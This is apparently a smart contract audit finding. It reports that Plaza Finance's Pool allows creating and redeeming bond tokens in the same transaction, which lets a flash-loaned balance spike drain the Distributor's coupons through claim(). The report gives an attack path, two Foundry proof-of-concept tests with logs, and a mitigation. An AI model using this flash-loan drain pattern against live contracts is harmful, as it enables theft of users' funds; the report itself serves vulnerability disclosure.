Joyful Yellow Raccoon

High

# Creating and Redeeming in the Same TX Can be Used for Draining the Distributors Coupons

### Summary

The missing checks from simultaneous creation and redemption inside the Pool contract, to acquire and destroy bond tokens respectively, allow a user to increase and decrease his/her bond token balance temporarily. This will lead to incorrect calculation if the mentioned balance is fetched via the dynamic `balanceOf()` function. This can be clearly seen inside the `claim()` function of the Distributor contract which will lead to the coupons and shares drainage of the Distributor contract.

### Root Cause

Inside the function `claim()` function of the Distributor contract, the bond token balance is dynamically fetched from the token contract:

```Solidity
  function claim() external whenNotPaused nonReentrant {
    BondToken bondToken = Pool(pool).bondToken();
    address couponToken = Pool(pool).couponToken();

    if (address(bondToken) == address(0) || couponToken == address(0)){
      revert UnsupportedPool();
    }

    (uint256 currentPeriod,) = bondToken.globalPool();
    uint256 balance = bondToken.balanceOf(msg.sender); // Dynamical balance fetching occurs here
    ...
}
```
https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Distributor.sol#L87

As this token balance is increased via direct minting inside the pool, there is a chance to increase the bond balance to affect the share calculation mechanism:

```Solidity
  function _create(
    TokenType tokenType,
    uint256 depositAmount,
    uint256 minAmount,
    address onBehalfOf) private returns(uint256) {
    ...
    // Take reserveToken from user
    IERC20(reserveToken).safeTransferFrom(msg.sender, address(this), depositAmount);

    // Mint tokens
    if (tokenType == TokenType.BOND) {
      bondToken.mint(recipient, amount);
    } else {
      lToken.mint(recipient, amount);
    }
    ...
}
```
https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L243-L250

Thus, when creating, the bond token value is increased and correspondingly, redeeming it will result in paying back the initial reserve token amount.

The problem here arises from the fact that there are not sufficient checks to prevent creating and redeeming tokens in the same block. As a result, this will open an exploit pattern to increase the bond token amount locally, claim from the distributor, and redeem the reserve tokens after it.

### Internal Pre-conditions

_No response_

### External Pre-conditions

_No response_

### Attack Path

1. Bob is a user with small investments in the Pool contract
2. He gets a lot of reserve tokens via a flash-loan
3. He calls `create()` with appropriate variables inside the Pool contract and as a result, his bond token balance increases
4. He then calls `claim()` from the Distributor contract
5. After getting lots of coupons from the Distributor contract, he calls the `redeem()` function of the Pool contract
6. Now he pays back the initial reserve token flash-loan

### Impact

The Distributor coupons and shares can be drained easily by flash-loaning reserve tokens and increasing the bond token balance temporarily

### PoC

## POC 1 

For testing the `claim()` and final attack scenario with assuming the bond token balance is increased: (inside the `Distributor.t.sol`)

```Solidity
  function testClaimSharesFlashLoan() public {
    Token sharesToken = Token(_pool.couponToken());

    vm.startPrank(address(_pool));

    sharesToken.mint(address(_pool), 50*(1+10000)*10**18);
    vm.stopPrank();

    vm.startPrank(governance);
    fakeSucceededAuction(address(_pool), 0);

    vm.mockCall(
      address(0),
      abi.encodeWithSignature("state()"),
      abi.encode(uint256(1))
    );

    vm.mockCall(
      address(0),
      abi.encodeWithSignature("totalBuyCouponAmount()"),
      abi.encode(uint256(50*(1+10000)*10**18))
    );

    // increase indexed asset period - this is done by Pool when Auction starts but its mocked on this test
    _pool.bondToken().increaseIndexedAssetPeriod(params.sharesPerToken);

    _pool.distribute();
    vm.stopPrank();

    vm.startPrank(user);

    console.log("Contract share token balance is: ", sharesToken.balanceOf(address(distributor)));
    console.log("User share token balance is: ", sharesToken.balanceOf(address(user)));

    deal(address(_pool.bondToken()), user, 10_001e18); // Simulation of create inside the Pool contract
    distributor.claim();
    // After claiming the coupons, the user can redeem the initial reserves inside the Pool

    console.log("Contract share token balance is: ", sharesToken.balanceOf(address(distributor)));
    console.log("User share token balance is: ", sharesToken.balanceOf(address(user)));
    vm.stopPrank();
  }
```

The result is:

```Markdown
Ran 1 test for test/Distributor.t.sol:DistributorTest
[PASS] testClaimSharesFlashLoan() (gas: 2308053)
Logs:
  Contract share token balance is:  500050000000000000000000
  User share token balance is:  0
  Contract share token balance is:  0
  User share token balance is:  500050000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.44ms (1.23ms CPU time)
```

******************************

## POC 2 

For increasing and decreasing the bond token balance inside the Pool contract via creation and redemption: (inside the `Pool.t.sol`)

```Solidity
  function testCreateAmountsChecks() public {
    vm.startPrank(governance);
    Token rToken = Token(params.reserveToken);

    // Mint reserve tokens
    rToken.mint(governance, 10000000000);
    rToken.mint(user, 1000);
    rToken.approve(address(poolFactory), 10000000000);

    // Create pool and approve deposit amount
    Pool _pool = Pool(poolFactory.createPool(params, 10000000000, 10000, 10000, "", "", "", "", false));
    vm.stopPrank();

    vm.startPrank(user);

    rToken.approve(address(_pool), 1000);

    console.log("Reserve token balance before Creation is: ", Token(_pool.reserveToken()).balanceOf(address(user)));
    console.log("Bond token balance before Creation is: ", BondToken(_pool.bondToken()).balanceOf(address(user)));

    // Call create and assert minted tokens
    uint256 amount = _pool.create(Pool.TokenType.BOND, 1000, 30000, block.timestamp, user);
    assertEq(amount, 30000);

    console.log("Reserve token balance after Creation is: ", Token(_pool.reserveToken()).balanceOf(address(user)));
    console.log("Bond token balance after Creation is: ", BondToken(_pool.bondToken()).balanceOf(address(user)));

    amount = _pool.redeem(Pool.TokenType.BOND, 30000, 33);

    console.log("Reserve token balance after Redemption is: ", Token(_pool.reserveToken()).balanceOf(address(user)));
    console.log("Bond token balance after Redemption is: ", BondToken(_pool.bondToken()).balanceOf(address(user)));
    vm.stopPrank();

  }
```

The result is:

```Markdown
[PASS] testCreateAmountsChecks() (gas: 1936672)
Logs:
  Reserve token balance before Creation is:  1000
  Bond token balance before Creation is:  0
  Reserve token balance after Creation is:  0
  Bond token balance after Creation is:  30000
  Reserve token balance after Redemption is:  1000
  Bond token balance after Redemption is:  0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.55ms (1.85ms CPU time)
```

### Mitigation

Instant creation and redemption within the same transaction should be prevented inside the Pool contract to avoid temporary fluctuations in the bond token balance.